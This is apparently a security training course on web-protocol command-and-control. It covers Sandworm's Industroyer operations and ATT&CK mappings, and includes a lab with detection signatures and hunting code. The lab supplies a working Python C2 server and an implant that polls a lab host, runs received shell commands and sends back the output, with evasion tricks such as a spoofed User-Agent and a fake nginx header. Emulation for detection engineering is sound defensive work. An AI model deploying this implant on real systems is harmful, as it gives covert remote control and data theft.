Table of Contents
- Module 1: Command-and-Control Fundamentals and Application-Layer Protocol Abuse
- Module 2: Sandworm’s Use of Web Protocols for Command and Control
- 2.1 Who Is Sandworm Team
- 2.2 Industroyer: A Modular Grid-Attack Malware Framework
- 2.3 The Industroyer Backdoor and Its HTTPS-Based C2 Channel
- 2.4 Disguising C2 Traffic as Ordinary Web Traffic
- 2.5 Renting and Compromising Infrastructure to Evade Attribution
- 2.6 Beyond Industroyer: Web Protocols Across the Broader Sandworm Toolkit
- 2.7 Protocol Tunneling in the 2022 Ukraine Attack
- Module 3: Hands-On Lab — Emulating and Detecting HTTP-Based C2 Traffic
- 3.1 Lab Objectives and Architecture
- 3.2 Building a Minimal HTTP C2 Server
- 3.3 Building the Beaconing Implant Client
- 3.4 Blending In: Mimicking Legitimate Web Traffic
- 3.5 Capturing and Analyzing the Traffic
- 3.6 Detection Engineering: Network Signatures for Web-Protocol C2
- 3.7 Threat Hunting for Beaconing Behavior
- MITRE ATT&CK Reference Tables
- Summary
Module 1: Command-and-Control Fundamentals and Application-Layer Protocol Abuse
1.1 Why Command and Control Matters to Attackers
Command and control (C2) is a crucial part of any cyber attack because it allows adversaries to establish and maintain communications with the systems they have compromised in a target environment. After an attacker successfully breaches a network or system, they need a reliable way to communicate with the malware or tools they have deployed. That communication channel is what C2 provides.
C2 lets attackers:
- Execute commands remotely on compromised hosts.
- Extract data from the target environment.
- Move laterally within the network.
- Deploy additional malicious software as the operation progresses.
Without effective C2, attackers lose control of their operations. Adversaries depend heavily on this communication channel to persist in compromised environments — in effect, C2 is the lifeline that turns what could be a short-term breach into a long-term presence, enabling continued exploitation of the target over time.
flowchart TD
A[Initial Compromise] --> B[Deploy Implant / Backdoor]
B --> C{Reliable C2 Channel Established?}
C -- No --> D[Attacker Loses Control<br/>Short-lived Breach]
C -- Yes --> E[Remote Command Execution]
E --> F[Data Extraction]
E --> G[Lateral Movement]
E --> H[Deployment of Additional Tooling]
F --> I[Long-term Presence /<br/>Continued Exploitation]
G --> I
H --> I
1.2 Common C2 Channels: Remote Access Software and Reverse Connections
To establish C2, adversaries use a variety of channels. One common technique is the use of legitimate remote access software such as VNC or TeamViewer. These tools provide an alternative communication channel, giving attackers redundant access, and they enable interactive remote desktop sessions that let an attacker directly control the target system.
In some cases, remote access functionality is built directly into custom malware to create a reverse connection — the compromised system initiates the outbound connection to an attacker-controlled service, which is often more effective at bypassing inbound firewall restrictions than an attacker trying to connect inbound to the victim.
1.3 Connection Proxies and Multi-Hop C2 Infrastructure
Another method attackers use is connection proxies, which route network traffic between systems or act as intermediaries for communication with a C2 server. Proxies help attackers avoid direct connections to their own infrastructure, making it harder to trace activity back to them.
Proxies serve several purposes in a C2 architecture:
- Reducing outbound connections — fewer systems need to reach out directly to attacker infrastructure.
- Providing resilience — if one connection or proxy node drops, the channel can often be re-established through another path.
- Riding over trusted communication paths — traffic can be routed through paths already trusted within the victim’s environment.
In more sophisticated attacks, adversaries chain multiple proxies together to further obscure the origin of malicious traffic, making attribution and takedown significantly harder for defenders.
flowchart LR
Attacker[Attacker-Controlled<br/>C2 Server] --> Proxy1[Proxy / Pivot Node 1]
Proxy1 --> Proxy2[Proxy / Pivot Node 2]
Proxy2 --> Victim1[Compromised Host A]
Proxy2 --> Victim2[Compromised Host B]
Victim1 -. internal SMB/SSH/RDP .-> Victim3[Compromised Host C]
Victim2 -. internal SMB/SSH/RDP .-> Victim4[Compromised Host D]
1.4 Abusing Application-Layer Protocols to Blend In
Adversaries frequently take advantage of application-layer protocols to evade detection or bypass network filtering by blending their malicious traffic with legitimate communications. Commands are sent to a compromised system, and the results of those commands are often hidden within regular protocol traffic exchanged between a client and a server.
Attackers can use a wide variety of protocols to achieve this, including those normally used for:
- Web browsing (HTTP/HTTPS)
- File transfers (FTP, SMB)
- Email (SMTP, IMAP)
- Name resolution (DNS)
When adversaries are communicating within a compromised environment — for example, between a proxy/pivot node and other internal systems — they often use protocols like SMB, SSH, or RDP. These protocols are trusted in most networks, which makes it easier for attackers to hide their internal activity as normal, legitimate east-west communication.
Web protocols specifically (HTTP and HTTPS) are attractive to attackers because:
- They are almost universally allowed outbound through firewalls and proxies.
- HTTP/S packets contain many fields and headers (URL paths, query parameters, cookies, custom headers, POST bodies) in which data can be concealed.
- TLS encryption (HTTPS) hides the payload contents from simple content inspection, while the connection metadata still looks like ordinary browsing traffic.
mindmap
root((C2 Channels))
Remote Access Software
VNC
TeamViewer
Built-in reverse connections
Connection Proxies
Single-hop proxy
Multi-hop proxy chains
Riding trusted paths
Application Layer Protocols
Web protocols HTTP/HTTPS
File transfer protocols
Email protocols
DNS
Internal-Only Protocols
SMB
SSH
RDP
1.5 MITRE ATT&CK Mapping for These Techniques
| Technique ID | Name | Relevance to This Course |
|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | Core technique — C2 traffic disguised as HTTP/HTTPS web traffic |
| T1572 | Protocol Tunneling | Encapsulating one protocol (e.g., RDP, SSH) inside another to evade filtering |
| T1090 | Proxy | Connection proxies and multi-hop infrastructure used to obscure the C2 server’s true location |
| T1102.002 | Web Service: Bidirectional Communication | Using legitimate web services/APIs to relay commands and responses |
| T1041 | Exfiltration Over C2 Channel | Sending collected data back to the attacker over the same web-protocol channel used for commands |
Module 2: Sandworm’s Use of Web Protocols for Command and Control
2.1 Who Is Sandworm Team
Sandworm Team (tracked under multiple aliases including ELECTRUM, Telebots, IRON VIKING, Voodoo Bear, Seashell Blizzard, and APT44) is a destructive threat group attributed to Russia’s General Staff Main Intelligence Directorate (GRU), specifically military unit 74455. The group has been active since at least 2009 and is best known for a series of highly disruptive operations against Ukraine, including the 2015 and 2016 attacks on Ukrainian electrical utilities, the 2017 NotPetya worldwide ransomware/wiper attack, the 2018 Olympic Destroyer attack against the Winter Olympics, and continued operations against Ukrainian critical infrastructure through the full-scale invasion beginning in 2022.
One notable attack that used web protocols for C2 involved the Industroyer malware, deployed by Sandworm during its attack on Ukraine’s electric grid in December 2016.
2.2 Industroyer: A Modular Grid-Attack Malware Framework
Industroyer (also tracked as CRASHOVERRIDE) is a modular malware framework, meaning it has different components designed to carry out specific actions for different phases of the attack. This modularity is what allowed Sandworm to tailor the malware to the industrial control system (ICS) protocols in use at the targeted Ukrainian transmission-level substations.
At the heart of Industroyer is a backdoor that controls all of the other malware components. Sandworm managed those components through a centralized C2 server, which allowed the group to:
- Issue commands to the infected host.
- Coordinate the different payload modules (protocol-specific payloads for IEC 60870-5-101, IEC 60870-5-104, IEC 61850, and OPC Data Access).
- Synchronize actions across the targeted systems so that circuit breakers could be manipulated in a coordinated fashion.
flowchart TB
subgraph Industroyer["Industroyer Modular Architecture"]
BD[Main Backdoor<br/>C2 client] --> M101[IEC 60870-5-101<br/>Payload Module]
BD --> M104[IEC 60870-5-104<br/>Payload Module]
BD --> M61850[IEC 61850<br/>Payload Module]
BD --> MOPC[OPC Data Access<br/>Payload Module]
BD --> WIPER[Data Wiper Module]
BD --> DOS[SIPROTEC DoS Module<br/>CVE-2015-5374]
end
C2[Sandworm C2 Server] <-->|HTTPS| BD
M101 --> RTU1[Substation RTU / Breaker]
M104 --> RTU2[Substation RTU / Breaker]
M61850 --> RTU3[Substation IED / Breaker]
2.3 The Industroyer Backdoor and Its HTTPS-Based C2 Channel
Communication between the infected system and the C2 server was performed over HTTPS, which made detection through simple traffic inspection considerably harder. This is a direct, publicly-documented example of MITRE ATT&CK technique T1071.001 (Application Layer Protocol: Web Protocols) — Industroyer’s main backdoor connected to a remote C2 server using HTTPS to receive commands and exfiltrate hardware/system profile information.
One of the standout features of Industroyer is its ability to communicate directly with industrial control systems using industrial protocols (IEC 60870-5-101/104, IEC 61850, and OPC DA). Because raw ICS-protocol traffic leaving the facility toward the internet would immediately raise alarms, Sandworm disguised its outbound communications to look like normal web traffic or API calls.
sequenceDiagram
participant Backdoor as Industroyer Backdoor
participant Proxy as Internal Proxy (TCP 3128 Squid)
participant C2 as Sandworm C2 Server
Backdoor->>Proxy: HTTP CONNECT (establish tunnel)
Proxy-->>Backdoor: Tunnel established
Backdoor->>C2: HTTPS POST /update (hardware profile, GUID)
C2-->>Backdoor: HTTPS 200 OK (encoded command / payload DLL name)
Backdoor->>Backdoor: Decrypt & decompress command<br/>(Triple DES + GZip)
Backdoor->>Backdoor: Load protocol-specific<br/>payload module
Backdoor->>C2: HTTPS POST /report (execution results, screenshots)
2.4 Disguising C2 Traffic as Ordinary Web Traffic
Sandworm used things like POST requests and URL parameters to encode or encrypt instructions, and any responses — such as system data or screenshots collected from the compromised host — were likewise disguised as legitimate HTTPS traffic. Encoding and encryption techniques observed across the group’s toolset include:
- Base64 encoding combined with HTML tags embedded in the communication traffic.
- ROT13 encoding, AES encryption, and zlib compression for a Python-based backdoor.
- Triple DES decryption combined with GZip decompression of received command data (as documented for Industroyer’s own backdoor communications).
This kind of protocol-conforming obfuscation is exactly what makes T1071.001 effective: to a network security analyst glancing at connection metadata (destination port 443, valid-looking TLS handshake, plausible domain name), the traffic is indistinguishable from a user’s browser session unless the analyst inspects behavioral patterns (timing, volume, destination reputation) or has visibility into decrypted payload content via TLS interception.
2.5 Renting and Compromising Infrastructure to Evade Attribution
In some cases, Sandworm routed its C2 operations through compromised or rented infrastructure on public cloud services or legitimate websites. This makes it even harder to trace activity back to the group, because security teams are less likely to block traffic to what appears to be a trusted, reputable service. This gave Sandworm a reliable and hard-to-detect communication channel for its attacks.
This lines up with additional documented Sandworm infrastructure tradecraft:
- Leasing servers from resellers rather than directly from hosting providers.
- Registering domains and creating URLs designed to mimic or spoof legitimate websites (login pages, file-sharing portals, password-reset pages).
- Compromising legitimate Linux servers running the EXIM mail transfer agent for reuse as staging or C2 infrastructure.
flowchart LR
A[Sandworm Operator] --> B{Infrastructure Choice}
B -->|Rent from reseller| C[Reseller-Leased Server]
B -->|Compromise legitimate host| D[Hacked EXIM Mail Server]
B -->|Abuse public cloud/API| E[Public Cloud Service /<br/>Legitimate Website]
C --> F[C2 Endpoint Presented<br/>to Victim Network]
D --> F
E --> F
F --> G[Victim Firewall / Proxy<br/>Sees Trusted-Looking Destination]
G --> H[Traffic Allowed Outbound]
2.6 Beyond Industroyer: Web Protocols Across the Broader Sandworm Toolkit
Industroyer is not the only tool in Sandworm’s arsenal that leverages web protocols for C2. The group’s broader toolkit shows a consistent pattern of favoring HTTP/HTTPS as a C2 transport across more than a decade of operations:
| Tool / Malware | Web-Protocol C2 Behavior | Related ATT&CK Technique |
|---|---|---|
| BlackEnergy | Communicated between compromised hosts and C2 servers via HTTP POST requests during the 2015 Ukraine attack | T1071.001 |
| GreyEnergy | Successor to BlackEnergy; uses HTTP/HTTPS for C2 | T1071.001 |
| Exaramel (Linux and Windows variants) | Uses HTTPS for C2; links Industroyer to the 2017 NotPetya supply-chain compromise | T1071.001 |
| P.A.S. Webshell | Issues commands via HTTP POST; maintained access to victim networks (used in the Centreon intrusion set) | T1071.001 |
| Cyclops Blink (VPNFilter successor) | Uses HTTP/S and DNS over HTTPS (DoH) to resolve and reach C2 nodes; can tunnel traffic | T1071.001, T1572 |
| Kapeka | Uses HTTP for C2, seen in Eastern European operations related to the GreyEnergy lineage | T1071.001 |
| Neo-reGeorg | Web shell tunneling tool deployed on an internet-facing server during the 2022 Ukraine attack | T1071.001, T1572 |
2.7 Protocol Tunneling in the 2022 Ukraine Attack
The Sandworm story does not end with HTTP-based C2 alone. During the 2022 Ukraine Electric Power Attack, Sandworm deployed the GOGETTER tunneler to establish a “Yamux” TLS-based C2 channel with an external server — a clear example of T1572 (Protocol Tunneling), where one protocol (Yamux multiplexed streams) is encapsulated inside another (TLS) to blend with ordinary encrypted web traffic and evade network filtering. GOGETTER was configured as a systemd service (masquerading as a legitimate service) to persist across reboots, and the group also deployed the Neo-reGeorg web shell for additional tunneling and web-protocol-based access.
This demonstrates that the underlying tradecraft goal — hide C2 inside protocols the network already trusts and allows outbound — has remained consistent across Sandworm’s campaigns even as the specific tools evolved from 2015 through 2022.
flowchart TD
A[2015: BlackEnergy<br/>HTTP POST C2] --> B[2016: Industroyer<br/>HTTPS + internal proxy tunnel]
B --> C[2017: NotPetya /<br/>Exaramel HTTPS C2]
C --> D[2022: GOGETTER Yamux-over-TLS<br/>tunneling + Neo-reGeorg web shell]
style A fill:#333,color:#fff
style B fill:#333,color:#fff
style C fill:#333,color:#fff
style D fill:#333,color:#fff
Module 3: Hands-On Lab — Emulating and Detecting HTTP-Based C2 Traffic
If you want to get hands-on with building your own C2 infrastructure to understand how APTs such as Sandworm are able to control victim environments without getting caught, this module walks through configuring C2 communication over HTTP so that it blends in with regular network traffic — and then, just as importantly, how a defender would go about spotting it.
Scope note: the components below are an illustrative, defensively-oriented reference implementation for a lab environment. They mirror the documented Sandworm/Industroyer tradecraft (HTTP/S transport, POST-based command delivery, encoded payloads, proxy tunneling) at a conceptual and structural level for the purpose of building detection engineering skills. They intentionally omit any destructive/ICS-specific payload logic.
3.1 Lab Objectives and Architecture
The lab has three goals:
- Stand up a minimal HTTP C2 server that issues base64-encoded “commands” to a registered implant.
- Stand up a beaconing client that polls the server on an interval, executes the received instruction locally, and reports results back — all over ordinary-looking HTTP requests.
- Capture the resulting traffic and build detection content (network signatures and hunting queries) that would catch this pattern in a real environment.
flowchart LR
subgraph Attacker Infrastructure
C2[C2 Server<br/>Flask/http.server on :8080]
end
subgraph Victim Host
Implant[Beaconing Client Script]
end
subgraph Defender Tooling
PCAP[tcpdump / Wireshark Capture]
IDS[Suricata / Zeek Sensor]
SIEM[Log Aggregation + Hunting Queries]
end
Implant -- "HTTP POST /checkin\n(beacon interval + jitter)" --> C2
C2 -- "HTTP 200\n(base64 command)" --> Implant
Implant -- "HTTP POST /result\n(base64 output)" --> C2
Implant -.-> PCAP
PCAP --> IDS
IDS --> SIEM
3.2 Building a Minimal HTTP C2 Server
The server below exposes two endpoints that mimic a normal REST API: /checkin (the implant polls this for its next instruction) and /result (the implant posts execution output back to it). Instructions and results are base64-encoded to keep the payload out of plaintext view, mirroring the encoding behavior documented across Sandworm’s toolset.
# c2_server.py -- illustrative lab C2 server (educational use only)
import base64
import json
import queue
from http.server import BaseHTTPRequestHandler, HTTPServer
# Pending command queue, keyed by implant ID
PENDING_COMMANDS = {"implant-01": queue.Queue()}
PENDING_COMMANDS["implant-01"].put("whoami")
class C2Handler(BaseHTTPRequestHandler):
def _send_json(self, payload: dict, status: int = 200) -> None:
body = json.dumps(payload).encode("utf-8")
self.send_response(status)
self.send_header("Content-Type", "application/json")
self.send_header("Server", "nginx/1.24.0") # blend in with common web server banner
self.end_headers()
self.wfile.write(body)
def do_POST(self):
length = int(self.headers.get("Content-Length", 0))
raw_body = self.rfile.read(length)
data = json.loads(raw_body or b"{}")
implant_id = data.get("id", "unknown")
if self.path == "/checkin":
try:
cmd = PENDING_COMMANDS.get(implant_id, queue.Queue()).get_nowait()
encoded_cmd = base64.b64encode(cmd.encode()).decode()
except queue.Empty:
encoded_cmd = ""
# Field name "cid" deliberately chosen to look like an innocuous tracking cookie value
self._send_json({"cid": encoded_cmd})
elif self.path == "/result":
decoded_result = base64.b64decode(data.get("r", "")).decode(errors="replace")
print(f"[+] Result from {implant_id}:\n{decoded_result}")
self._send_json({"ack": True})
else:
self._send_json({"error": "not found"}, status=404)
if __name__ == "__main__":
HTTPServer(("0.0.0.0", 8080), C2Handler).serve_forever()
3.3 Building the Beaconing Implant Client
The client below beacons out over HTTP POST on a jittered interval — a defining beaconing characteristic that defenders look for — and executes whatever base64-encoded shell command it receives, sending the output back to the /result endpoint using the same encoding scheme.
# implant_client.py -- illustrative lab beacon client (educational use only)
import base64
import json
import random
import subprocess
import time
import requests
C2_URL = "http://c2.lab.local:8080"
IMPLANT_ID = "implant-01"
BASE_INTERVAL = 30 # seconds
JITTER_PERCENT = 20 # +/- 20% jitter to avoid a perfectly periodic beacon
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36",
"Content-Type": "application/json",
}
def sleep_with_jitter():
jitter = BASE_INTERVAL * (JITTER_PERCENT / 100)
time.sleep(BASE_INTERVAL + random.uniform(-jitter, jitter))
def checkin():
resp = requests.post(
f"{C2_URL}/checkin",
headers=HEADERS,
json={"id": IMPLANT_ID},
timeout=10,
)
encoded_cmd = resp.json().get("cid", "")
return base64.b64decode(encoded_cmd).decode() if encoded_cmd else None
def run_and_report(command: str):
try:
output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, timeout=15)
except subprocess.CalledProcessError as exc:
output = exc.output
encoded_result = base64.b64encode(output).decode()
requests.post(
f"{C2_URL}/result",
headers=HEADERS,
json={"id": IMPLANT_ID, "r": encoded_result},
timeout=10,
)
if __name__ == "__main__":
while True:
command = checkin()
if command:
run_and_report(command)
sleep_with_jitter()
sequenceDiagram
autonumber
participant Client as Implant Client
participant Server as Lab C2 Server
loop Every ~30s +/- jitter
Client->>Server: POST /checkin {"id": "implant-01"}
Server-->>Client: {"cid": "<base64 command>"}
alt Command received
Client->>Client: Execute command locally
Client->>Server: POST /result {"id": "implant-01", "r": "<base64 output>"}
Server-->>Client: {"ack": true}
else No command pending
Client->>Client: Sleep until next interval
end
end
3.4 Blending In: Mimicking Legitimate Web Traffic
The lab implant and server above already demonstrate several evasion techniques mirrored from real-world Sandworm tradecraft:
- Realistic
User-Agentstring — a standard Chrome-on-Windows string rather than a default Pythonrequestsuser agent. - Spoofed
Serverheader — advertisingnginxon the C2 response so casual header inspection looks benign. - JSON field names chosen to look mundane —
cidandrresemble tracking/session fields rather than obvious command/response fields. - Base64-encoded command and result bodies — keeps plaintext command strings out of the request/response bodies, similar to how Sandworm malware base64-encodes data combined with HTML tags.
- Jittered beacon interval — avoids a perfectly periodic connection pattern that would be trivial to fingerprint.
Additional techniques worth layering on in a more advanced lab iteration (all consistent with documented Sandworm/ATT&CK tradecraft) include:
- Routing the implant’s traffic through an internal proxy before it reaches the internet-facing C2 (mirrors Industroyer’s
HTTP CONNECTthrough a Squid-style internal proxy on TCP 3128). - Using a domain name that closely mimics a legitimate service.
- Wrapping the channel in TLS (HTTPS) so payloads are encrypted in transit, not just base64-encoded.
3.5 Capturing and Analyzing the Traffic
With both the server and client running in the lab, capture the traffic between them to see what a defender would actually observe on the wire:
# Capture traffic to/from the lab C2 server on port 8080
sudo tcpdump -i eth0 -w c2_lab_capture.pcap host c2.lab.local and port 8080
# Read back and filter for the POST requests only
tcpdump -r c2_lab_capture.pcap -A 'tcp port 8080 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'
Open the capture in Wireshark and apply an HTTP filter to review the request/response pairs:
http.request.method == "POST" && http.host == "c2.lab.local"
Expected observations from the capture:
- Two distinct POST paths (
/checkin,/result) repeating at a near-fixed interval. - Small, structurally-identical JSON bodies on every request (
{"id": "implant-01", ...}). - A
Server: nginx/1.24.0header on every response, despite no real nginx instance being present — a mismatch that stands out once you know to look for it. - Base64-looking strings inside otherwise plain JSON fields (
cid,r).
3.6 Detection Engineering: Network Signatures for Web-Protocol C2
The traffic characteristics above translate directly into detection content. Below are illustrative Suricata rules and a Zeek script fragment that would flag this lab’s beacon pattern — the same principles apply to detecting real Sandworm-style HTTP/S C2.
# suricata_c2_rules.rules -- illustrative detection content for lab traffic
alert http any any -> any any (msg:"LAB - Possible C2 checkin pattern (repetitive small JSON POST)"; \
flow:established,to_server; http.method; content:"POST"; \
http.uri; content:"/checkin"; \
http.request_body; content:"|22|id|22|"; \
threshold: type threshold, track by_src, count 5, seconds 300; \
classtype:trojan-activity; sid:9000001; rev:1;)
alert http any any -> any any (msg:"LAB - Spoofed nginx Server header from non-nginx host"; \
flow:established,to_client; http.response_header.names; \
content:"Server"; \
http.header; content:"nginx/1.24.0"; \
classtype:trojan-activity; sid:9000002; rev:1;)
alert http any any -> any any (msg:"LAB - Base64-looking value in JSON field named cid or r"; \
flow:established; \
pcre:"/\"(cid|r)\"\s*:\s*\"[A-Za-z0-9+\/]{12,}={0,2}\"/"; \
classtype:trojan-activity; sid:9000003; rev:1;)
# c2_beacon_detection.zeek -- illustrative Zeek beacon-interval scoring script
module C2Beacon;
export {
redef enum Notice::Type += { PossibleBeaconing };
}
global conn_intervals: table[addr, addr] of vector of interval;
event http_request(c: connection, method: string, original_URI: string,
unescaped_URI: string, version: string) {
if (method == "POST" && (/\/checkin/ in original_URI || /\/result/ in original_URI)) {
local key = c$id$orig_h;
# Record inter-request timing per source/destination pair for jitter analysis
# (full implementation would compare successive deltas against a jitter threshold)
NOTICE([$note=PossibleBeaconing,
$msg=fmt("Repeated POST to %s from %s", original_URI, c$id$orig_h),
$conn=c]);
}
}
3.7 Threat Hunting for Beaconing Behavior
Beyond signature-based detection, defenders should hunt for the statistical fingerprint of beaconing: a small set of near-identical request sizes recurring at a near-constant interval to the same destination. The pseudocode below illustrates the core idea behind commercial and open-source beacon-detection analytics (such as RITA or JA3/JA4-based clustering).
# beacon_hunt.py -- illustrative interval-variance beacon scoring (educational use only)
from collections import defaultdict
from statistics import stdev, mean
def score_beaconing(connection_log):
"""
connection_log: list of dicts with keys 'src', 'dst', 'timestamp', 'bytes_out'
Returns destinations sorted by 'beacon score' (lower variance = more beacon-like).
"""
timestamps_by_pair = defaultdict(list)
for entry in connection_log:
timestamps_by_pair[(entry["src"], entry["dst"])].append(entry["timestamp"])
scores = {}
for pair, timestamps in timestamps_by_pair.items():
timestamps.sort()
deltas = [b - a for a, b in zip(timestamps, timestamps[1:])]
if len(deltas) >= 5:
variance_ratio = stdev(deltas) / mean(deltas) if mean(deltas) else float("inf")
scores[pair] = variance_ratio # closer to 0 => highly regular, beacon-like
return sorted(scores.items(), key=lambda kv: kv[1])
flowchart TD
A[Collect proxy/firewall/NetFlow logs] --> B[Group connections by src/dst pair]
B --> C[Compute inter-connection time deltas]
C --> D{Low variance in delta<br/>AND small, consistent payload size?}
D -- Yes --> E[Flag as candidate beacon]
D -- No --> F[Deprioritize / benign traffic]
E --> G[Enrich: domain age, reputation,<br/>TLS cert, ASN, JA3/JA4 fingerprint]
G --> H{Enrichment confirms suspicion?}
H -- Yes --> I[Escalate to incident response]
H -- No --> F
MITRE ATT&CK Reference Tables
Technique Mapping
| Technique ID | Name | Where It Applies in This Course |
|---|---|---|
| T1071.001 | Application Layer Protocol: Web Protocols | Industroyer’s HTTPS backdoor; BlackEnergy’s HTTP POST C2; lab implant/server traffic |
| T1572 | Protocol Tunneling | Industroyer’s internal proxy HTTP CONNECT tunnel; GOGETTER Yamux-over-TLS tunnel (2022) |
| T1090 | Proxy | Sandworm’s internal proxy establishment prior to backdoor installation; multi-hop connection proxies |
| T1102.002 | Web Service: Bidirectional Communication | Use of legitimate web/API services (e.g., Telegram Bot API) to send/receive commands |
| T1041 | Exfiltration Over C2 Channel | Industroyer sending hardware/system profile data back over the same HTTPS channel used for C2 |
| T1132.001 | Data Encoding: Standard Encoding | Base64 encoding combined with HTML tags in C2 traffic (BCS-server tool) |
| T1027 | Obfuscated Files or Information | ROT13, AES, and zlib-compressed command data in Sandworm’s Python-based backdoor |
Detection Signature Reference
| Indicator / Pattern | Detection Logic | Maps To |
|---|---|---|
| Repetitive small HTTP(S) POST requests to the same host | Threshold/frequency rule on POST count per source over a time window | T1071.001 |
| Regular (low-jitter) inter-request timing | Statistical beacon scoring (variance/mean of time deltas) | T1071.001, T1090 |
Mismatched or spoofed Server/banner headers | Signature comparing claimed server software to known fingerprint behavior | T1071.001 |
| Base64-encoded values inside otherwise plaintext JSON/form fields | Regex/PCRE pattern matching on request/response bodies | T1132.001 |
HTTP CONNECT to an internal, non-standard proxy port (e.g., 3128) followed by outbound HTTPS | Proxy/firewall log correlation rule | T1572, T1090 |
| TLS-encapsulated multiplexed tunnel traffic (e.g., Yamux-style framing) to an external IP | TLS JA3/JA4 fingerprinting plus destination reputation scoring | T1572 |
| Outbound connections to newly-registered or typosquatted domains over 443 | Domain-age/reputation enrichment on outbound HTTPS connections | T1071.001 |
Mitigations
| Mitigation ID | Name | Application |
|---|---|---|
| M1037 | Filter Network Traffic | Restrict and monitor outbound web traffic (HTTP/HTTPS) from critical and ICS-adjacent servers to only approved destinations; block by default from OT-facing hosts |
| M1031 | Network Intrusion Prevention | Deploy signatures targeting known C2 traffic patterns and protocol anomalies (as illustrated in the Suricata/Zeek examples above) |
| — | TLS Interception / Decryption (where policy allows) | Enables content inspection of otherwise-opaque HTTPS C2 traffic on egress proxies |
| — | Network Segmentation (IT/OT boundary) | Limits the blast radius if a C2 channel is established on the IT side, preventing direct reach into ICS/OT networks (directly relevant to the Industroyer scenario) |
| — | Beacon/Traffic-Analysis Baselining | Establish a baseline of expected outbound connection patterns so anomalous, highly-regular beaconing stands out |
| — | DNS and Certificate Monitoring | Flag newly-registered domains, mismatched certificates, and domains mimicking legitimate services |
Summary
Command and control is the connective tissue of nearly every intrusion that progresses beyond initial access — without it, an attacker cannot issue commands, move laterally, or exfiltrate data from a compromised environment. Sandworm Team’s operations, most visibly the Industroyer malware used against the Ukrainian electric grid in December 2016, are a well-documented, real-world illustration of MITRE ATT&CK technique T1071.001 (Application Layer Protocol: Web Protocols): a modular backdoor communicating over HTTPS, encoding and encrypting its commands and results so the traffic blends with ordinary web activity, tunneling through internal proxies, and riding on rented or compromised infrastructure to frustrate attribution. The group’s tradecraft has remained consistent across more than a decade of campaigns — from BlackEnergy’s HTTP POST C2 in 2015 through GOGETTER’s Yamux-over-TLS tunneling in 2022 — even as the specific tools and protocols evolved.
Building and instrumenting a small-scale HTTP-based C2 emulation lab — as walked through in Module 3 — is one of the most effective ways to internalize both sides of this problem: how easy it is to make malicious traffic look benign at the protocol level, and how a defender’s visibility into timing, structure, and metadata (rather than just payload content) is what ultimately exposes it.
Detection and Mitigation Checklist
- Inventory and monitor all outbound HTTP/HTTPS traffic from servers and ICS/OT-adjacent hosts; default-deny to unapproved destinations.
- Deploy network intrusion detection/prevention signatures for known C2 frameworks and protocol anomalies (mismatched banners, unusual header combinations).
- Baseline expected outbound connection intervals and payload sizes per host/service to make beaconing patterns stand out statistically.
- Where policy permits, decrypt and inspect outbound TLS traffic at the egress proxy, especially from sensitive network segments.
- Enforce IT/OT network segmentation so that a C2 foothold on the corporate network cannot directly reach industrial control systems.
- Monitor for
HTTP CONNECTrequests to internal or non-standard proxy ports followed by external HTTPS connections. - Track domain registration age, certificate details, and typosquatting patterns for outbound HTTPS destinations.
- Correlate JA3/JA4 TLS fingerprints and destination reputation data against known C2 framework signatures.
- Regularly review firewall/proxy logs for repetitive, structurally-identical requests to the same external host.
- Practice detection engineering against emulated C2 traffic (as in Module 3) rather than relying solely on signature feeds, since encoding schemes and headers can be trivially altered by adversaries.
Search Terms
sandworm · application · layer · protocol · web · emulation · security · hot · takes · threat · intel · networking · systems · traffic · detection · industroyer · protocols · application-layer · att · beaconing · command · control · infrastructure · mapping